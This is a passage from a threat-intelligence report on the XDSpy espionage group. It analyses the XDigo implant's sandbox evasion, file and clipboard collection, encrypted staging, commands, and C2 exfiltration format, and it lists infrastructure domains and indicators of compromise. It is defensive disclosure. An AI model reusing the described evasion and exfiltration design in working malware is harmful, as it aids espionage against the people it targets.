intelligence communities, which associate it to XDSpy (also known as “Silent\r\nWerewolf“).\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 12 of 25\n\nAs a result, and having further linked the described activities to XDSpy (see “Attribution”), we believe with moderate to\r\nhigh confidence that XDigo was aimed to be deployed by ETDownloader. The exact sample we describe here may not have\r\nbeen downloaded by ETDownloader, but it is a recent XDigo implant. We provide an overview of its capabilities and discuss\r\nnotable differences with other similar samples we identified.\r\nFilename vwjqrvdy.exe\r\nCompiler Go 1.20\r\nHash (SHA-256) 0d983f5fb403b500ec48f13a951548d5a10572fde207cf3f976b9daefb660f7e\r\nThe implant is a 64 bits portable executable that has data collection and command execution capabilities.\r\nAnti-analysis checks\r\nBefore executing its main logic, the implant runs several “anti-analysis” checks. All those checks can be bypassed if the\r\nhostname of the computer running the sample contains vmthost\r\n5\r\n.\r\nThe implant first checks that it is being run under C:\\Users\\Public by verifying that the string Public is found within\r\nthe path of the image file.\r\nThen, in a attempt to thwart sandbox or virtual machine analysis, it stops if hardware characteristics (such as computer\r\nchassis or BIOS manufacturer), hostname or current user name of the targeted host match predefined values. The implant\r\nalso halts if any of 18 files exist on the host. A comprehensive list of checked values is provided in Appendix (“Anti-analysis\r\nchecks”).\r\nConfiguration\r\nSome parameters of the implant, notably the command and control (C2) server and a list of additional file extensions that are\r\nused to scan directories, can be set in a file ( config.txt ) located in the current directory. If this file exists, its JSON\r\ncontent is decrypted using an embedded AES key 3mrb51xq4qdktp1073rwmheswlfurluf , and is loaded into a structure in\r\nmemory.\r\nData collection\r\nThe implant collects information about the compromised host as well as files through different tasks, some of which are\r\nregularly executed. These tasks include:\r\nscanning the current user’s home directory for files with one of 13 hardcoded extensions: .doc , .docx , .pdf ,\r\n.xls , .xlsx , .ppt , .pptx , .zip , .rar , .7z , .odt , .ods , .rtf . Note that if further extensions have\r\nbeen provided from the configuration or the on-demand ext command (see later), an additional scan task will be\r\nexecuted to cover those;\r\nscanning the current user’s home Desktop directory for files with the .txt extension;\r\nretrieving the content of the clipboard;\r\ncapturing a screenshot;\r\nscanning volumes other than C: for files with one of the aforementioned hardcoded extensions;\r\ngetting the current user name and listing the directories located in C:\\Program Files*\\*\r\n6\r\n.\r\nSome of these collection tasks involve the creation of log files in a temporary directory, for example for recording errors that\r\nhave occurred. Each collected file goes through the data staging process described below prior to being exfiltrated to the C2\r\nserver.\r\nData staging\r\nThe implant stages each piece of collected data according to the following process before sending it to the C2 server:\r\nif necessary (for example, for file paths and clipboard content), it creates a text file within a previously created\r\ntemporary directory and then writes the collected data to this text file;\r\nit opens another .enc file within that same directory;\r\nit creates a ZIP archive (using the “Store” method: without compression) which contains the file being processed;\r\nfinally, it encrypts the ZIP archive and writes the encrypted data to the .enc file.\r\nThe text and .enc files are deleted once the data has been sent to the C2 server. A similar process is followed for\r\nscreenshots (PNG files) and other collected files.\r\nThe names of the files in the temporary directory are made of 10 upper and lower-case characters from the latin alphabet,\r\nfollowed by one of those extensions, depending on the file type: .txt , .PNG or .enc (the latter being used for encrypted\r\nfiles).\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 13 of 25\n\nThe archive is encrypted using the AES-256-GCM algorithm with the same key used to encrypt the configuration file\r\n( 3mrb51xq4qdktp1073rwmheswlfurluf ). Each .enc file therefore contains a nonce (the first 12 bytes), the encrypted data\r\n(the archive) and the authentication tag (16 bytes).\r\nCommands\r\nIn addition to the regular execution of data collection tasks, the implant can also run one of the following commands on\r\ndemand:\r\nCommand Description\r\nlist Recursively list the contents of a directory\r\nrun Run a command or execute a binary (depending on the parameters) that has been downloaded\r\nfile Retrieve a file\r\ncc Update the C2 server\r\next Update (and store) a list of additional file extensions that must be searched for when scanning directories\r\ndel Delete a file\r\nThe commands to execute are retrieved from a response to an HTTP GET request which is regularly sent to the C2 server,\r\nand described in the next section. The responses from the C2 server contain two base64-encoded parts separated by a |\r\ncharacter: the first part is the command, encrypted using the RSA-OAEP encryption scheme, and the second part is a RSA-PSS signature.\r\nThe sample embeds an RSA private key and an RSA public key (which do not belong to the same key pair) that are used,\r\nrespectively, for the decryption of command messages from the C2 server and for the verification of the signatures of these\r\ncommand messages.\r\nC2 communication\r\nThis sample communicates with its C2 server by sending GET and POST requests through HTTPS to the following URL:\r\nhxxps://quan-miami[.]com/wevjhnyh/ . A z parameter is added to all HTTP requests (in the URL query string) to convey\r\nthe hard drive serial number (with existing . or _ characters removed)7.\r\nFiles are being exfiltrated as multipart forms via HTTP POST requests to the C2 URL with the ?s\u0026z= query string\r\n(example exfiltration URL: /wevjhnyh/?s\u0026z=\u003chard-drive-serial-number\u003e ). The multipart forms contain 2 parts:\r\nfile : the binary content of the .enc file which is being exfiltrated;\r\nv : a text value containing the letter c .\r\n--08f7c5f670cb797fcfc61e11fd1d4e3efeb2e4fce8ed41079a25659bbbfb\r\nContent-Disposition: form-data; name=\"file\"; filename=\"YfJVBRdyUG.enc\"\r\nContent-Type: application/octet-stream\r\n--08f7c5f670cb797fcfc61e11fd1d4e3efeb2e4fce8ed41079a25659bbbfb\r\nContent-Disposition: form-data; name=\"v\"\r\nc\r\n--08f7c5f670cb797fcfc61e11fd1d4e3efeb2e4fce8ed41079a25659bbbfb--\r\nCommands that must be executed on demand are retrieved from the response to HTTP GET requests to the C2 URL with the\r\n?r\u0026z= query string (example command request URL: /wevjhnyh/?r\u0026z=\u003chard-drive-serial-number\u003e ).\r\nThe following User-Agent string is used for most HTTP requests: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\nAppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59\r\n8\r\n.\r\nThere is an exception however: the default User-Agent string from the Go HTTP library ( Go-http-client/1.1 ) is used\r\nwith POST requests to the following C2 URL: /wevjhnyh/?z=\u003chard-drive-serial-number\u003e\u0026h . Such request is the first that\r\nis sent from the implant to the C2, and is then regularly sent during the malware’s operation. It appears to serve as a beacon,\r\nbut it also allows the operators to stop the execution of the implant’s tasks. The stop condition is based on a string\r\ncomparison: if the C2 response contains warning or error , the implant starts waiting indefinitely.\r\nOther XDigo versions\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 14 of 25\n\nWe assess with high confidence that the sample we described is a more recent version of an implant which was documented\r\nin October 2023 by Kaspersky as UsrRunVGA.exe\r\n9\r\n. Both samples notably share:\r\ncommon anti-analysis checks implemented using the same third-party Go packages;\r\nthe ability to capture screenshots and to retrieve clipboard contents, again using the same third-party Go packages;\r\nsimilar files scanning technique for the user home directory as well as volumes other than C: ;\r\nthe creation of staging files using the same naming pattern and encryption algorithm (AES-256-GCM);\r\nsimilar query string parameters for C2 communication, including the common z parameter;\r\nthe use of a same User-Agent string 10;\r\nsimilar file and list commands with identical role.\r\nIn addition, commands encryption and a RSA private key can be found in both the sample we described and samples that\r\nKaspersky associated to a “second campaign” in 2023.\r\nMore generally hunting for similar implants, we ultimately identified 4 samples (including the described one,\r\nvwjqrvdy.exe ):\r\nSHA-256 hash\r\nFilename (first\r\nseen)\r\nC2 domain\r\n3adeda2a154dcf017ffed634fba593f80df496eb2be4bee0940767c8631be7c1\r\nSubModuler.exe\r\n(2023-02-23)\r\nmelodicprogress[.]com\r\n49714e2a0eb4d16882654fd60304e6fa8bfcf9dbd9cd272df4e003f68c865341\r\nsksatgmf.exe\r\n(2024-07-08)\r\npechalnoyebudushcheye[.]com\r\n0d983f5fb403b500ec48f13a951548d5a10572fde207cf3f976b9daefb660f7e\r\nvwjqrvdy.exe\r\n(2025-02-05)\r\nquan-miami[.]com\r\ne32f04362ec4db90e024bfb57adf6e5c02f1061cd17dbf81a5bbc0b588119b25\r\nuyohlag.exe\r\n(2025-06-11)\r\nsogrevayushchiynapitok[.]com\r\nSome samples (such as sksatgmf.exe ) are detected as “XDigo” by antivirus engines, which also match a previously\r\nmentionned implant name. From samples features and implementation details analysis, we assess with high confidence that\r\nall samples are different versions of a same implant. As a result, we believe that the samples we identified and those that\r\nwere described by Kaspersky in 2023 are all versions of XDigo. In addition, the sample named SubModuler.exe matches\r\nan older version of the implant as described by Kaspersky.\r\nThe versions of some Go packages11 as well as the User-Agent string8, that are both common to all retrieved samples,\r\nsuggest that the development of XDigo might have been initiated in 2021 at the latest.\r\nTwo of the identified samples ( sksatgmf.exe and uyohlag.exe ) embed the same RSA public and private keys than those\r\nin the sample we initially analyzed ( vwjqrvdy.exe ). One of these samples, sksatgmf.exe , has additional information\r\nstealing capabilities allowing it to retrieve credentials that may have been saved by the targeted user from web browsers and\r\nemail clients (a list of targeted software is provided in Appendix, “Information stealing capabilities”). Among the other\r\nnotable differences with the initial sample we described, we also noted that:\r\nsamples are intended to be executed from different locations. For example, uyohlag.exe makes sure that it is being\r\nrun from a path including Roaming (which matches the path where ETDownloader is expected to execute the\r\ndownloaded payload from);\r\nthe list of hardcoded file extensions to be searched for is extended ( .kdbx , .ovpn , .pem , .crt , .key and\r\n.txt are added, .rtf is removed) in sksatgmf.exe ;\r\nthe del command is not implemented in sksatgmf.exe .\r\nWhile we only had access to a very limited number of XDigo samples, we can still observe capabilities and characteristics\r\nevolutions compared to samples that have been publicly described already, indicating a continuous development:\r\nthe addition of new commands (only the file and list commands were implemented in first versions);\r\nthe addition of encryption and authentication for command execution (encryption was mentioned as an evolution for\r\na “second campaign” in public Kaspersky reporting);\r\nthe archiving of the encrypted files before their exfiltration to the C2 server;\r\nthe uniqueness of the embedded AES key in each sample we identified (according to Kaspersky, the samples they\r\nanalyzed shared the same key);\r\nan increase of the number of anti-analysis checks.\r\nInfrastructure\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 15 of 25\n\nStarting from domains that are contacted by ETDownloader to retrieve a payload, and using selective markers we identified,\r\nwe were able to discover additional infrastructure. Some of it could be linked to past or ongoing activity that we could\r\nindependently link to XDSpy, and as a result we suspect the rest to be used by XDSpy as well (a comprehensive list of\r\nassociated indicators is provided in Appendix).\r\nHTTP headers\r\nWe first identified selective infrastructure markers (mainly a combination of HTTP headers) that enabled us to pivot and\r\ndiscover possibly related domains. Among those, we notably retrieved what turned out to be the C2 server of the analyzed\r\nXDigo sample ( quan-miami[.]com ). Then using similar infrastructure pivoting technique, we could tie the C2 domain of an\r\nadditional XDigo sample ( pechalnoyebudushcheye[.]com ) to previously reported XDSpy activity:\r\nFigure 16 – Initial connections of identified infrastructure to XDSpy\r\nRedirections to binary model files\r\nWe further noticed that for some related infrastructure we identified, HTTP requests to servers (which were likely deemed as\r\nnot originating from actual implants) were redirected. The redirection lead to a binary LLM file hosted at HuggingFace,\r\nweighing tens of gigabytes (specifically Meta’s llama-2-70b.Q5_K_M.gguf , and EleutherAI GPT pytorch_model.bin ).\r\nWhile this is likely done to throw off analysis12, it also turned out to be a selective marker which identifies XDSpy\r\ninfrastructure.\r\nIn some instances and prior to the redirection to HuggingFace, we retrieved HTML responses from ETDownloader staging\r\nservers ( pdf-bazaar[.]com and file-bazar[.]com ) which contained a JavaScript snippet:\r\n\u003cscript\u003e setTimeout(function(){ window.location = '?r=[REDACTED]\u0026yay=[REDACTED]'; }, 1500); \u003c/script\u003e\r\nSimilar responses were logged from www.tvoy-disk[.]com , www.skachivanie-failov24[.]com and zagruzka-pdf[.]com , which we suspected served as XDSpy distribution servers in 2024. This assumption is based on samples13\r\nwhich belong to an infection chain that is similar to the one previously reported, as well as shared HTTP headers.\r\nOverview of identified infrastructure\r\nMore generally, we analyzed XDSpy infrastructure dating back to the first publication by ESET in 2020, focusing on all\r\nactivities observed since then. The infrastructure is diverse and does not adhere to a single rigid pattern, as there are always\r\nexceptions and changes. However, we can provide general observations that capture the common properties of analyzed\r\ninfrastructure.\r\nXDSpy seems to maintain a separation between distribution servers used by first stage downloaders and C2 servers.\r\nHowever we found overlaps in the IP addresses that are a resolution for the C2 of an XDigo sample ( quan-miami[.]com ),\r\nand previously reported XDSpy and XDigo activities:\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 16 of 25\n\nFigure 17 – Overlaps between XDigo C2 and known XDSpy activity\r\nOverall, the distribution servers followed a rather consistent naming convention that utilizes Russian words transliterated\r\ninto English characters, with thematic focus on file sharing and document storage:\r\nDomain Russian Translation English Meaning\r\nvashazagruzka365[.]com Ваша загрузка 365 Your Download 365\r\nmoy-fayl[.]com Мой файл My File\r\nzagruzka-pdf[.]com Загрузка PDF PDF Download\r\nzimniyeravlecheniya[.]com Зимние развлечения Winter Entertainment\r\nutrenneyesolntse[.]com Утреннее солнце Morning Sun\r\ntemnayamashina[.]com Тёмная машина Dark Car\r\notpravkafaylov[.]com Отправка файлов File Sending\r\npdfsklad[.]com PDF склад PDF Warehouse\r\nzelenyysalat[.]com Зелёный салат Green Salad\r\nfaylbox365[.]com Файлбокс 365 Filebox 365\r\ncellporyad[.]com Селл порядок Cell Order\r\nsbordokumentov[.]com Сбор документов Document Collection\r\nbystryvelosiped[.]com Быстрый велосипед Fast Bicycle\r\nzhestovyyliker[.]com Жестовый лайкер Gesture Liker\r\nslomannyymonitor[.]com Сломанный монитор Broken Monitor\r\nkrasnayastena[.]com Красная стена Red Wall\r\ndversteklo[.]com Дверь стекло Door Glass\r\nseychaspozzhe[.]com Сейчас позже Now Later\r\nkletchatayarubashka[.]com Клетчатая рубашка Checkered Shirt\r\ntvoi-fayly[.]com Твои файлы Your Files\r\nsvobodnoepredlozheniye[.]com Свободное предложение Free Offer\r\nzagruzkadannykh[.]com Загрузка данных Data Download\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 17 of 25\n\nDomain Russian Translation English Meaning\r\nkhitrayalisitsa[.]com Хитрая лисица Cunning Fox\r\nvash-disk[.]com Ваш диск Your Disk\r\nchistyyvozdukh[.]com Чистый воздух Clean Air\r\nThe C2 servers naming scheme differs, using random English words – with a few outliers, such as\r\npechalnoyebudushcheye[.]com , which translates to “Sad Future”:\r\nDomain Russian Translation\r\nEnglish\r\nMeaning\r\nEstimated Operation\r\nDate\r\nKind\r\nlunnayareka[.]com Лунная река Lunar River August 2023 XDigo\r\ntantsuyushchiykarlik[.]com Танцующий карлик Dancing Dwarf July 2023 XDigo\r\nmelodicprogress[.]com – Melodic\r\nProgress\r\nFebruary 2023 XDigo\r\nenjoyever[.]com – Enjoy Ever November 2023 XDSpy\r\ncoolpelear[.]com – Cool Pelear November 2023 XDSpy\r\npechalnoyebudushcheye[.]com Печальное будущее Sad Future July 2024 XDigo\r\nquan-miami[.]com – Quan Miami February 2025 XDigo\r\nsogrevayushchiynapitok[.]com\r\nсогревающий\r\nнапиток Warming Drink June 2025 XDigo\r\nC2 domains of earlier XDigo samples from 2023 were resolved to single static IP addresses. These are associated with\r\npopular VPS providers and are presenting a certificate issued by Let’s Encrypt. More recent XDigo infrastructure migrated\r\nto Hostinger, leveraging their CDN dynamic IP resolution, but still using Let’s Encrypt certificates. Overall, we observed the\r\nattacker favoured “LiteSpeed” proprietary web server, with a few outliers using Apache.\r\nTargets\r\nWe were able to confirm one target in the Minsk region, Belarus, through the analysis of a process memory dump uploaded\r\nto an online multiscanner. This minidump, generated at the time XDigo malware was running, indicates the victim operated\r\na workstation containing Belarussian-developed software, alongsides multiple documents pertaining to the Belarussian\r\ngovernment. Our analysis reveals the target was affiliated with the Belarussian government, with possible focus on\r\neconomic and regional development policies or initiatives.\r\nFigure 18 – Victims map, Belarus is highlighted\r\nThis targeting profile aligns with XDSpy’s historical pursuit of government entities in Eastern Europe and Belarus in\r\nparticular. Previously reported campaigns targeted primarily government entities, including militaries, ministries of foreign\r\naffairs and private companies across Eastern Europe and the Balkans. Reported historical targeting included financial\r\ninstitutions, energy, research and mining sectors, with targets in Belarus, Moldova, Russia, Serbia and Ukraine. We also\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 18 of 25\n\nfound artifacts pointing to targeting of large Russian retail groups, financial institutions, large insurance companies and\r\ngovernmental postal services.\r\nXDSpy’s focus is also demonstrated by its customized evasion capabilities, as their malware was reported as the first\r\nmalware attempting to evade detection from PT-Security’s Sandbox solution, a Russian cybersecurity company providing\r\nservice to public and financial organisations in the Russian Federation.\r\nAttribution: it is all tied to XDSpy\r\nDespite limited visibility and our reliance on publicly or semi-publicly available data, we identified multiple connections\r\nbetween the analyzed campaign and previously documented XDSpy operations.\r\nThe selective infrastructure markers discussed earlier (see “Infrastructure”) directly links previously reported XDSpy\r\nactivity to the XDigo variants examined in this report. We also discovered an additional connection between ETDownloader\r\nand XDSpy. Beyond the infrastructure commonalities and the distinctive targeting focus (see “Targets”), we identified\r\nsimilarities in infection mechanics.\r\nKnown XDSpy infection chains consistently begins with a phishing email containing an archive. These archives contains a\r\nstage 1 downloader (embedded within one or more files in various formats), alongside a lure document (typically a PDF).\r\nBeginning 2023, XDSpy has leveraged the forfiles.exe\r\n14\r\n Windows utility to execute commands as part of the infection\r\nchain. This same technique is also observed in the infection chain we documented in this report (see “Malicious LNK file”).\r\nOur XDigo analysis (see section “Other XDigo versions” in “Stage 2 candidate – XDigo”) additionally revealed ties to\r\nmalicious activities that were reported by Kaspersky in October 2023. Although their report did not name any threat actor\r\nback then, our analysis led us to assess with high confidence that the “backdoor” they described is an older version of\r\nXDigo. This implant was also executed using forfiles.exe .\r\nConclusion: how investigating a bug led us to XDSpy\r\nThis investigation began with a small cluster of suspicious LNK files and unexpectedly unfolded to a deep dive into XDSpy\r\nactivities. We examined how Windows handles these files and discovered parsing issues being exploited by an activity\r\ncluster we subsequently attributed to XDSpy. Given the sparse publicly available information about XDSpy and the absence\r\nof any prior public analysis of what was referenced as “XDigo”, our research fills an intelligence gap in understanding this\r\npersistent threat actor.\r\nInvestigating this March 2025 campaign led us to discover multiple additional activity clusters, all sharing consistent TTPs\r\nand unique targeting patterns. Even as we concluded this investigation, we identified another cluster of activity beginning\r\nMay 2025, using a previously reported infection chain, in addition to new XDigo samples uploaded days prior to\r\npublication.\r\nWhile XDSpy maintains strong operational security practices that have enabled them to operate covertly for over a decade,\r\nour cumulative analysis revealed sufficient unique markers to track their evolving operations across multiple campaigns.\r\nThese distinctive elements – including infrastructure patterns, infection chain similarities, and consistent targeting\r\nmethodologies — provided the only reliable means of connecting their activities and establishing attribution.\r\nAppendix: indicators and detection rules\r\nIndicators of compromise (IOCs)\r\nAssociated IOCs are also available on our GitHub repository.\r\nHashes (SHA-256)\r\na28ee84bfbad9107ad39802e25c24ae0eaa00a870eca09039076a0360dcbd869|XDSpy ZIP archive, dokazatelstva.zip\r\n4f1d5081adf8ceed3c3daaaa3804e5a4ac2e964ec90590e716bc8b34953083e8|XDSpy ZIP archive, dokazatelstva.zip\r\n59b907430dde62fc7a0d1c33c38081b7dcf43777815d1abcf07e0c77f76f5894|XDSpy ZIP archive, proyekt.zip\r\nccf56b6b727da47c89f7a1a47cc04ab3a41d225c1298a74f16c939a5622b03f2|XDSpy ZIP archive, dokazatelstva.zip\r\nb03d9dd170cd82890ee1a5503529b81ce8064893e31a88b87081a8c72610d810|XDSpy ZIP archive, dokazatelstva.zip\r\ne14fdb6c0b5b64e1ca318b7ad3ac9a4fd6dec60ef03089b87199306eba6e0ca6|XDSpy ZIP archive, dokazatelstva.zip\r\n678f79e78847a1274238740bb8cada62f9c41cab96df8537d87d38850502d0a2|XDSpy ZIP archive, dokazatelstva.zip\r\n81bb1cf3a805c1375bb3251eea9f1ad132ab1266295a75cda9ffe9278588ac7f|XDSpy ZIP archive, proyekt.zip\r\nd5c0fd26ba1504bde3222202f7a257efa9cdbc6949718495a7c33cd6510fce2a|XDSpy ZIP archive, dokazatelstva.zip\r\n52a98f2b2de46bc0835a11d2ba22b874a09788596507c13ac22b9b8877a8f3c6|XDSpy ZIP archive, dcv.ini\r\nbc0b9075e3b8504c4e0c7097c6be8aa05f96032053ec43e502d297136aaf375e|XDSpy ZIP archive, um.ini\r\n38489af1360af2cb7ba70f61e4c562fa63ce58e59576ba452db560f75ed1680a|XDSpy ZIP archive, ycni.ini\r\ndd279ea6c2a660ff7e70788af4a6c98524836c1b63beed756a77942c83de06fa|XDSpy ZIP archive, yhc.ini\r\n40bc204062a1f936c246fbffbed1a6bb41107ad9e5ad25df8970e4090258e145|XDSpy ZIP archive, uhz.ini\r\n564b2184a7f53d5f1680673ced354f5e956d897b7e1ea7d3f992cc38be6a9b20|XDSpy ZIP archive, ldh.ini\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 19 of 25\n\n7d6eb47ff307bebf87022575edd19181ad34ee5a5db1f408a25d16cd27d8aa2f|XDSpy ZIP archive, goq.ini\r\n40e3fcfcc09fd84b2745b75e0e5e7beae866f4300ec8f36e2e9ab3197f198dcd|XDSpy ZIP archive, wiw.ini\r\n0b705938e0063e73e03645e0c7a00f7c8d8533f1912eab5bf9ad7bc44d2cf9c3|XDSpy LNK, доказательства_089741.lnk\r\n9c1acde0627da8b518b0522d6fed15cecf35b20ed8920628e9f580cfc3f450ed|XDSpy LNK, доказательства_0007093.lnk\r\n5be9aba659baa089bcd253905deaf3f084f2b8f03701e90f2a46b36781165925|XDSpy LNK, проект_08811127.lnk\r\n536cd589cd685806b4348b9efa06843a90decae9f4135d1b11d8e74c7911f37d|XDSpy LNK, доказательства_000224.lnk\r\ncfd0d56ca3d6c9ca232252570522c4b904be2807c461276979b1f8c551ccd4aa|XDSpy LNK, доказательства_099543.lnk\r\n904db68a915b4bbd0b4b2d665bb1e2c51fa1b71b9c44ce45ccd4b4664f2bfd8e|XDSpy LNK, доказательства_034464.lnk\r\ne62c3135fd708ee420cf767fa1654d8d66ff01f5160ddadf633e3cc5eaeaa926|XDSpy LNK, доказательства_066551.lnk\r\n65209053f042e428b64f79ea8f570528beaa537038aa3aa50a0db6846ba8d2ec|XDSpy LNK, проект_00252053.lnk\r\n15277bfc6b784c373d535fbda9396bd16c15d990943423167602fb81b26d0f07|XDSpy ETDownloader, d3d9.dll\r\n95060ba948948eea9bfc801731960b97d3efceb300622630afcbccfe12c21ccd|XDSpy ETDownloader, d3d9.dll\r\n792c5a2628ec1be86e38b0a73a44c1a9247572453555e7996bb9d0a58e37b62b|XDSpy ETDownloader, d3d9.dll\r\n5e34d754b0a938de7e512614f8fc6d7cd6c704f76b05044e07c97bd44bd5d591|XDSpy ETDownloader, d3d9.dll\r\n68347b0c6494a56dd0f6492c6c56158b46bcaf44878a8741f6e63ff2946cf30f|XDSpy ETDownloader, d3d9.dll\r\n7e04c69685d8612f7fc3512ad9ad1802a28428f75874b8717c0f04e939a3324d|XDSpy ETDownloader, d3d9.dll\r\nf3f2c3c5836ce6e3cb92aa6dfc0f133e15a7fd169a3d1049b7d82e49d1577273|XDSpy ETDownloader, d3d9.dll\r\n448245612a5388074e32251a0b44769170c586cc4c2ae06cd953c7a461ce34a6|XDSpy ETDownloader, d3d9.dll\r\n747dfd7f0ca893034136fd286c737b55edc9276b5794a02c6dd3771da0342729|XDSpy ETDownloader, ExportTests.dll\r\n5248b0e4af1914762cc1c436a898d12d5f74980b816155f4191dc9692402668f|XDSpy ETDownloader, ExportTests.dll\r\n7a2af22372a4fd3ba89d36fdee38967cb77f43e14255d0b5ad80da863b146625|XDSpy ETDownloader, ExportTests.dll\r\n7c0597aa77031a100db0941921b60f08079bec7f710b6e736a15012db6465c39|XDSpy ETDownloader, ExportTests.dll\r\n031e05d15afabef6010179d2acd09925395167fd442b64b6aa8ffd81bd5e268e|XDSpy ETDownloader, ExportTests.dll\r\n056cd36bf4bc6efc119a64f2ffedd76f3dcb75daa95c22c59d91664dfcaa6fd5|XDSpy ETDownloader, ExportTests.dll\r\nfb1df37336d79861b13d5f4ba875393c7e91b12cd73302cb414c1d084104a6a8|XDSpy ETDownloader, ExportTests.dll\r\nc8899a6e8d3dd11c75217253f8dd78f5029c01e886880cafce0388d5fd6aa54b|XDSpy ETDownloader, ExportTests.dll\r\n7a2af22372a4fd3ba89d36fdee38967cb77f43e14255d0b5ad80da863b146625|XDSpy ETDownloader, ExportTests.dll\r\n0d983f5fb403b500ec48f13a951548d5a10572fde207cf3f976b9daefb660f7e|XDigo malware, vwjqrvdy.exe\r\n3adeda2a154dcf017ffed634fba593f80df496eb2be4bee0940767c8631be7c1|XDigo malware, SubModuler.exe\r\n49714e2a0eb4d16882654fd60304e6fa8bfcf9dbd9cd272df4e003f68c865341|XDigo malware, sksatgmf.exe\r\ne32f04362ec4db90e024bfb57adf6e5c02f1061cd17dbf81a5bbc0b588119b25|XDigo malware, uyohlag.exe\r\nPossibly related hashes (SHA-256)\r\nffc538f2c6e91f07be067311ed143d28c5437a8af69974f751c043e2944d60b2|Suspected XDSpy ARJ archive, scan-070424.rar\r\nefd44bc4e0efcab72106ea065c8a89d51d499202732319b21324487e8d00eccf|Suspected XDSpy ARJ archive, portfolio-Elena.rar\r\n2dde92fc0936cb275be79d5864c98772d1270e4a54c01e61ebc4b856b5e048d5|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\n666f4977abf17db6da2d05b385c5cf53f6500517226a3ac5bd0360eda9193d08|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\nbe6a545180300554eea2ee6ece9f835a12996059d726df810fe13ba0044033cd|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\n07e2376d2c4318b0f9c472d01342d67e23a2e8edc182533a291336dfeaff4e60|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\n12fd8d45a181adfd6725ea9806d72ed61b3af1e31d80fa7ddd32e1932a8dfd75|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\nbcb5df098a79e3bc1d8bcb3b1a354b6643afdb4ca40333e0548e5ed1a9470cac|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\nf7be89ae645831d519b7c781d69cf8e88e5762b824c9a6753eb16b25c4abef76|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\na8d578d4b50ac4029db22b76563e927ab691075aacc87621795b16b388b7d48c|Suspected XDSpy ARJ archive, portfolio-Elena.rar\r\nef8fdec66751b6a17da45dd4d9c22cef8d3c78604e7a8bc6fc8e2b30342ff408|Suspected XDSpy ARJ archive, doc_202405310008.rar\r\n9f17ff59172a802bc6ce8490c1ea379a5bf75af839f8b59373fba8c51e878af0|Suspected XDSpy NSIS installer, scan-070424.com\r\n0993b0bb897402954eb9057bc84ea98e2c12ff1185a87ac3c3a15a241560bb1a|Suspected XDSpy NSIS installer, portfolio-Elena.com\r\n0a626f1837da9043e65ccf9e23192aef36d58402a1fd56577952c7bb426f2ec5|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\ne0ffc3442215b888c55d8dfd9d33c5cfff315a59089aeb42da4cf6869eed8f5d|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\n77b2f2ef5bc3b7bb2d1b85491ece85b56da37685652526c6fa6e3562cd12e3b6|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\n021d13de99e996fbf03e57b78ce67630c19d33242eee8480383d7b065edebb51|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\n83341b08425a1a247becd79e829064ddbd309636d7d62a369338ffd47af6e955|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\n5409eb70942a6b875d8343437bb04e368f56de1854953fa87890fc8ee8a8bc37|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\na9b9022aedd1b9afbd7ab1f11f60f236102e1f70b340658da8cb39c072a9af61|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\n155b94be1c3dca48314f6f2ee0c89c09553851ecc9ceefc436e16ebb7fca5f1a|Suspected XDSpy NSIS installer, portfolio-Elena.com\r\n2414dd462e3ca05ecd37aa56dc8841f5ef9588663572e7bc36d07520af7864b1|Suspected XDSpy NSIS installer, doc_20240531_00081.com\r\nbbc5e80d3f068d8eff0cfa745ecba97903a83dfd9fe6f43cf05e803bbe9ce8b9|Suspected XDSpy NSIS installer, spetsifikatsiya_0002587.c\r\ne95f2982195399b5f9e453be6db02a346bb516320659a3ade2c385bcb7fc27da|Suspected XDSpy NSIS installer, dokazatelstva_po_delu_000\r\nef34c433c818774b466ba4e6f677b1c6cf51bb9213a60fd779fd7df39011e97b|Suspected XDSpy ARJ archive, spetsifikatsiya_0006622.rar\r\nDomains\r\nThe dates noted serve as indicators of when the infrastructure was likely active.\r\npdf-bazaar[.]com|XDSpy distribution, March 2025\r\npdfdepozit[.]com|XDSpy distribution, March 2025\r\nfile-bazar[.]com|XDSpy distribution, March 2025\r\nvashazagruzka365[.]com|XDSpy distribution, March 2025\r\nmelodicprogress[.]com|XDigo C2, February 2023\r\nhttps://harfanglab.io/insidethelab/sadfuture-xdspy-latest-evolution/\r\nPage 20 of 25\n\npechalnoyebudushcheye[.]com|XDigo C2, July 2024\r\nquan-miami[.]com|XDigo C2, February 2025\r\nsogrevayushchiynapitok[.]com|XDigo C2, June 2025\r\nPossibly related domains\r\nThe dates noted serve as indicators of when the infrastructure was likely active.\r\nseychaspozzhe[.]com|Suspected XDSpy, July 2024\r\naoc-upravleniye[.]com|Suspected XDSpy, March 2025\r\nbukhgalter-x5group[.]com|Suspected XDSpy, March 2025\r\nbystryvelosiped[.]com|Suspected XDSpy, March 2025\r\ncellporyad[.]com|Suspected XDSpy, March 2025\r\ndversteklo[.]com|Suspected XDSpy, March 2025\r\ndwd765m[.]com|Suspected XDSpy, March 2025\r\nkhoroshayamych[.]com|Suspected XDSpy, March 2025\r\nkrasnayastena[.]com|Suspected XDSpy, March 2025\r\nmagnitgroup[.]com|Suspected XDSpy, March 2025\r\nru-pochta365[.]com|Suspected XDSpy, March 2025\r\nru-sistema[.]com|Suspected XDSpy, 